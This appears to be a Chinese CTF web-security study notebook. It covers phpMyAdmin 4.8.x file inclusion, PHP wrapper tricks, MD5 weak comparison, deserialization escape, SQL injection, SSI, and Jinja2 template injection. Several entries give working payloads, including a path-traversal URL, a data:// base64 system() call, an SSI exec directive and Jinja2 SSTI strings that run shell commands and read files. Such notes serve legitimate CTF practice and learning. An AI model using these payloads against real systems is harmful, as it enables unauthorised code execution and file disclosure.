目录
- phpMyAdmin 4.8.x 本地文件包含漏洞利用
- 变量覆盖漏洞
- PHP伪协议中的data://
- MD5
- [MRCTF2020]套娃
- UTF-8与Unicode
- 函数转换
- 获取PHP源码
- 反序列化逃逸
- mysql之无列名注入
- intval()函数
- 命令执行 绕过方法
- NMAP
- extractvalue和updatexml进行报错注入
- CBC字节翻转攻击
- PHP assert()函数
- Apache SSI远程命令执行漏洞
- SSTI模板注入漏洞
- Flask jinja2模板注入思路总结
- [CISCN2019 总决赛 Day2 Web1]Easyweb1
- 二次注入
- regexp
- [HarekazeCTF2019]encode_and_encode
- RETRY
- PHP中的字符替代
phpMyAdmin 4.8.x 本地文件包含漏洞利用
读取flag文件
/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../flag
why? (%253f )
由于多了第二次的解码和判断,导致当传入二次编码的?(即%253f)时会取出导致db_sql.php作为参数从而绕过白名单进而达到文件读取的目的
变量覆盖漏洞
https://blog.csdn.net/qq_43622442/article/details/105925473
PHP伪协议中的data://
用法:data://text/plain;base64,
eg ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJkaXIiKTs/Pg==
MD5
MD5值相同的两组不同字符
%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
QNKCDZO
240610708
一开始以为是要寻找MD5碰撞的例子,后来想了想不应该这么复杂,就发现了PHP有个隐式转换的缺陷,PHP在处理哈希字符串时,会利用”!=”或””来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,(当出现xex模式的时候代表科学计数法)
所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
当然,安全的比较方法是三个=,也就是“===”。
md5加密前后数值相等
PHP弱类型总结
哈希函数md5().hexdigest()
WUSTCTF2020朴实无华–WP
0e215962017
import hashlib #$md5==md5($md5)
v0='0e'
for v1 in '0123456789':
for v2 in '0123456789':
for v3 in '0123456789':
for v4 in '0123456789':
for v5 in '0123456789':
for v6 in '0123456789':
for v7 in '0123456789':
for v8 in '0123456789':
for v9 in '0123456789':
for v10 in '0123456789':
for v11 in '0123456789':
for v12 in '0123456789':
for v13 in '0123456789':
v = v0+v1 + v2 + v3 + v4 + v5 + v6+v7+v8+v9+v10+v11+v12+v13
m = hashlib.md5() #获取一个md5加密算法对象
m.update(v.encode("utf-8"))#要对哪个字符串进行加密,就放这里
n = m.hexdigest()#获取加密后的16进制字符串
if n[0:2] == '0e' and n[2:].isdigit():#要求前两位是0e,然后后面只有数字构成
print(v)
[MRCTF2020]套娃
https://www.freesion.com/article/8725512564/
jsfuck编码 、反写
UTF-8与Unicode
Unicode字符大全
https://www.compart.com/en/unicode/
函数转换
base_convert()
:
dechex
:将10进制转化为16进制
hex2bin
:16进制转换为ASCII字符
获取PHP源码
- php伪协议
php://input:使用条件:include()、include_once()、file_get_contents()
enctype=”multipart/form-data” 的时候 php://input 是无效的
- php://output
是一个只写的数据流, 允许你以 print 和 echo 一样的方式 写入到输出缓冲区
- php://filter
php://filter/convert.base64-encode/resource=index.php
源码中的写法:
- List item
include($file.'php') 或者 include($file)
这里直接使用伪协议包含:
?file = php://filter/read=convert.base64-encode/resource=login?action = xxx & mode = xxx
include($action.'/'.$mode.'.php');
对于这种情况使用的伪协议包含形式:
?action=php://filter/read=convert.base64-encode/resource=./&mode=login
参考源->
https://blog.csdn.net/weixin_39580682/article/details/115144055
反序列化逃逸
两种对象:
- 第一种:关键词数增加
例如: where->hacker,这样词数由五个增加到6个 - 第二种:关键词数减少
例如:直接过滤掉一些关键词
way:值逃逸、键逃逸
[安洵杯 2019]easy_serialize_php 脑壳大!!!!
https://www.cnblogs.com/h3zh1/p/12732336.html
mysql之无列名注入
https://zhuanlan.zhihu.com/p/98206699
intval()函数
如果intval函数参数填入科学计数法的字符串,会以e前面的数字作为返回值,而对于科学计数法+数字则会返回字符串类型
命令执行 绕过方法
https://www.fujieace.com/penetration-test/command-bypass.html
eg: 空格绕过 $IFC$9${IFC}
NMAP
-il /etc/pass
任意文件中读取要扫描的文件
-o /tmp/1
把扫描文件输出到一个地方
escapeshellarg()+escapeshellcmd()
extractvalue和updatexml进行报错注入
[极客大挑战 2019]HardSQL 1
EXTRACTVALUE
https://blog.csdn.net/SopRomeo/article/details/104041233/
UPDATAEXML
https://www.cnblogs.com/wangtanzhi/p/12257412.html
CBC字节翻转攻击
2021ISCC ISCC客服一号冲冲冲(二)
注意:cookie里面数据转url格式
https://blog.csdn.net/zpy1998zpy/article/details/80684485
https://blog.csdn.net/jvkyvly/article/details/116755861
PHP assert()函数
assert 判断一个表达式是否成立
assert()可以将整个字符串参数当作php参数执行。
所以构造木马
eg: [NPUCTF2020]ReadlezPHP1
Apache SSI远程命令执行漏洞
SSI(服务器包含)是放在HTML页面中的指令。SSI 注入允许远程在 Web 应用中注入脚本来执行代码。从技术角度上来说,SSI就是在HTML文件中,可以通过注释行调用的命令或指针,即允许通过在HTML页面注入脚本或远程执行任意代码。
eg
环境:文件上传,php文件被禁止上传
根据SSI的特性上传一个shtml文件
<!--#exec cmd="whoami" -->
SSTI模板注入漏洞
smarty ssti
{$smarty.version} 返回的smarty的版本号
eg: [CISCN2019 华东南赛区]Web111
Flask jinja2模板注入思路总结
py3
#命令执行:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
https://blog.csdn.net/qq_27446553/article/details/79379136
靶场:https://buuoj.cn/challenges#[GYCTF2020]FlaskApp
[CISCN2019 总决赛 Day2 Web1]Easyweb1
脚本思路
https://www.cnblogs.com/kevinbruce656/p/12631048.html
二次注入
- sql二次注入
- 使用reverse()函数,将查询结果倒序输出
regexp
[NCTF2019]SQLi 1
wp
[HarekazeCTF2019]encode_and_encode
1.json字符转义
2.php伪协议
php://filter/convert.base64-encode/resource=
RETRY
[0CTF 2016]piapiapia
wp:https://blog.csdn.net/qq_43622442/article/details/105751356
PHP中的字符替代
%09
代替 空格